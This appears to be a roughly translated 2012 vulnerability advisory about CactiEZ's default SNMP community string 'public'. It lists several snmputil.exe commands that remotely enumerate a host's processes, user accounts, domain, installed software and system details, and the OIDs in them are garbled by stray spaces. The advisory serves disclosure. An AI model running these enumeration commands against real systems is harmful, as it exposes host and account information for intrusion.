CactiEZ Chinese version of the snmp default community name vulnerability-vulnerability warning-the black bar safety net

2012-06-05T00:00:00
ID MYHACK58:62201234038
Type myhack58
Reporter 佚名
Modified 2012-06-05T00:00:00

Description

|

CactiEZ Chinese version, is a monitoring control system; wherein the default snmp settings public, does not modify the result can be read remotely target device to the host information.

Such as:

snmputil.exe walk 127.0.0.1 public. 1. 3. 6. 1. 2. 1. 2 5. 4. 2. 1. 2 //**The process list

snmputil.exe walk 127.0.0.1 public. 1. 3. 6. 1. 4. 7 7. 1. 2. 2 5. 1. 1 //**The user list

snmputil.exe get 127.0.0.1 public. 1. 3. 6. 1. 4. 7 7. 1. 4. 1. 0 //**domain name

snmputil.exe walk 127.0.0.1 public. 1. 3. 6. 1. 2. 1. 2 5. 6. 3. 1. 2 //**Installation of the software

snmputil.exe walk 127.0.0.1 public. 1. 3. 6. 1. 2. 1. 1 //**System Information

! [](/Article/UploadPic/2012-6/201265143017657.jpg)